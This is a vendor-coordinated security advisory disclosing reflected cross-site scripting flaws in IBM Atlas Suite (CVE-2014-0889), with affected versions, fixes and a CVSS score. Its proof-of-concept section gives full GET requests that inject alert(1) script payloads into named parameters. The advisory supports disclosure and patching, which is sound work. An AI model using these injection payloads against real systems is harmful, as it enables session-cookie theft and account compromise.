Security Advisory SWRX-2014-009

IBM Atlas Suite cross-site scripting (XSS) vulnerabilities

Dell SecureWorks Counter Threat Unit™ Threat Intelligence

Advisory Information

Title: IBM Atlas Suite cross-site scripting (XSS) vulnerabilities
Advisory ID: SWRX-2014-009
Advisory URL: http://www.secureworks.com/cyber-threat-intelligence/advisories/SWRX-2014-009
Date published: Friday, August 15, 2014
CVE: CVE-2014-0889
CVSS v2 base score: 3.5
Date of last update: Friday, August 15, 2014
Vendors contacted: IBM Corporation
Release mode: Coordinated
Discovered by: Craig Lambert, Dell SecureWorks

Summary

The IBM Atlas Suite/Atlas Policy Suite is a solution portfolio that retains and archives information, meets eDiscovery obligations, and defensibly disposes of information to lower customers' cost and risk. This software contains multiple reflected cross-site scripting (XSS) vulnerabilities due to insufficient input validation of URL parameters. Successful exploitation may allow an attacker to retrieve session cookies, steal recently submitted data, or launch additional attacks.

Affected products

These vulnerabilities affect the following products:

- IBM Atlas eDiscovery Process Management 6.0.1.6 and earlier, 6.0.2, 6.0.3
- IBM Disposal and Governance Management for IT 6.0.1.6 and earlier, 6.0.2, 6.0.3
- IBM Global Retention Policy and Schedule Management 6.0.1.6 and earlier, 6.0.2, 6.0.3

Vendor information, solutions, and workarounds

Table 1 lists the remediation available from the IBM Security Bulletin. Organizations using versions prior to version 6 should contact IBM Support.

Fix	VRMF	APAR	How to acquire fix
6.0.1.6-ATLAS-IF0001 6.0.2.0-ATLAS-IF0003 6.0.3.0-ATLAS-IF0001	6.0.1.6_IF0001 6.0.2.0_IF0003 6.0.3.0_IF0001	None None None	IBM Fix Central IBM Fix Central IBM Fix Central
None	6.0.1.0 6.0.1.1 6.0.1.2 6.0.1.3 6.0.1.4 6.0.1.5 6.0.1.6	None	Install or upgrade to 6.0.1 Fix Pack 6 and then apply Interim Fix 1 from Fix Central
	6.0.2.0	None	Install or upgrade to 6.0.2 and then apply Interim Fix 3 from Fix Central
	6.0.3.0	None	Install or upgrade to 6.0.3 and then apply Interim Fix 1 from Fix Central

Table 1. Fixes for software versions. (Source: IBM)

Details

Several XSS vulnerabilities exist in IBM Atlas Suite/Atlas Policy Suite due to insufficient input validation. Table 2 lists the affected function and parameters for each vulnerability. The vulnerabilities are identified by number.

#	Function	Parameter(s)	URL
1	frameset	UserID	hxxps://victim.com/AtlasReports/frameset
2	AjaxServlet	formID, injectID, dsListPagerId	hxxps://victim.com/PolicyAtlas/AjaxServlet

Table 2. Affected functions and parameters for each vulnerability.

Input is not properly sanitized for illegal or malicious data prior to being returned to the user in dynamically generated web content. Remote attackers could leverage this issue to conduct reflected XSS attacks via specially crafted requests. When loaded, arbitrary script or HTML code injected into the affected parameter is executed in a target user's browser session in the security context of a vulnerable website. Successful exploitation may allow an attacker to retrieve session cookies, steal recently submitted data, or launch additional attacks.

CVSS severity (version 2.0)

Access vector: Network
Access complexity: Medium
Authentication: Single
Impact type: Allows unauthorized modification
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None
CVSS v2 base score: 3.5
CVSS v2 impact subscore: 2.9
CVSS v2 exploitability subscore: 2.8
CVSS v2 vector: (AV:N/AC:M/Au:S/C:N/I:P/A:N)

Proof of concept

The following is a complete list of vulnerable GET requests, with the XSS input highlighted.

frameset function

```
hxxps://victim.com/AtlasReports/frameset?RenderAs=HTML&reportId=9685&__report=/raid/ap
ps/weblogic10/domains/Planned.PSS-
Atlas.Intra/common/lib/reports/staticReports/WhoIsOnHoldReport.rptdesign&UserID=105050
e3204"><script>alert(1)</script>f42bc23507f&sid=3x5pSb9fL3ZTFmhHMHhKjnfnk67GYsjQRXP1Qh
rDlQwxQhPlsgly%211148268685%2113817604792888&P_FNAME=&P_LNAME=&P_ORGNAME=&P_MTRID=&P_ST
ATUS=
```

AjaxServlet function

```
hxxps://victim.com/PolicyAtlas/AjaxServlet?rendererClass=dsList&formID=dsListForm71500
'%3balert(1)//599d80b09&dsListStatus=Active&ascendingOrder=asc&sortColumnName=cust.cus
todianname&defaultRender=defaultRender&injectId=injectDSPagedList&dsListDSOrTemplateId
=DataSource&userId=105050&pagerID=dsListPagerId&dsAssignedToMe=true&dsCreatedByMe=true
&dsUpdatedByMe=false&targetPage=0
```

```
hxxps://victim.com/PolicyAtlas/AjaxServlet?rendererClass=dsList&formID=dsListForm&asce
ndingOrder=asc&sortColumnName=cust.custodianname&injectId=injectDSPagedList14416'%3bal
ert(1)//537f8934c&dsListDSOrTemplateId=DataSource&dsListCategory=-
1&dsListAccessibility=-1&dsListStatus=Active&dsListInvolvement=-
1&dsListModifiedFrom=&dsListModifiedTo=&dsReasonForChange=&dsListDraftStatus=&dsCreate
dBy=-1&dsWorkloadFor=-1&dsIncludeStaff=&dsUpdatedBy=-
1&dsCreatedByMe=&dsAssignedToMe=&dsUpdatedByMe=&dsListName=&dsListMediaType=-
1&dsListIdentifier=&dsListSteward=-1&dsListSecurityLevel=-
1&dsListDescription=&dsListDiscoveryDelegate=-1&dsListInformationType=-
1&dsListOrganization=-1&dsListSubOrgs=true&dsListDataStructure=-1&dsListType=-
1&dsListCountry=-1&dsListManagedBy=-
1&dsListAddress=&dsListZip=&dsListBuildingId=&dsListCity=&dsListContactName=&dsListCon
tactPhone=&dsListContactEmail=&dsListURL=&dsListState=-
1&dsListFloor=&dsListStartDate=&dsListEndDate=&dsCustody=&dsIsGlobal=&dsComments=&dsDi
scoveryComments=&dsDataManagementComments=&dsPAField1=&dsPAField2=&dsPAField3=&dsPAFie
ld4=&dsPAField5=&dsDiscoveryCustom1Field=&dsDiscoveryCustom2Field=&dsDiscoveryCustom3F
ield=&dsDiscoveryCustom4Field=&dsDiscoveryCustom5Field=&dsDMCustom1Field=&dsDMCustom2F
ield=&dsDMCustom3Field=&dsDMCustom4Field=&dsDMCustom5Field=&dsLocationPAField1=&dsLoca
tionPAField2=&dsLocationPAField3=&dsLocationPAField4=&dsLocationPAField5=&userId=10505
0&pagerID=dsListPagerId&targetPage=0
```

```
hxxps://victim.com/PolicyAtlas/AjaxServlet?rendererClass=dsList&formID=dsListForm&dsLi
stStatus=Active&ascendingOrder=asc&sortColumnName=cust.custodianname&defaultRender=def
aultRender&injectId=injectDSPagedList&dsListDSOrTemplateId=DataSource&userId=105050&pa
gerID=dsListPagerId18707'%3balert(1)//6523368bc&dsAssignedToMe=true&dsCreatedByMe=true
&dsUpdatedByMe=false&targetPage=0
```

Revision history

1.0 2014-08-15: Initial advisory release

PGP keys

This advisory has been signed with the Dell SecureWorks Counter Threat Unit™ PGP key, which is available for download at http://www.secureworks.com/SecureWorksCTU.asc.

About Dell SecureWorks

Dell Inc. listens to customers and delivers worldwide innovative technology and business solutions they trust and value. Recognized as an industry leader by top analysts, Dell SecureWorks provides world-class information security services to help organizations of all sizes protect their IT assets, comply with regulations, and reduce security costs.

Disclaimer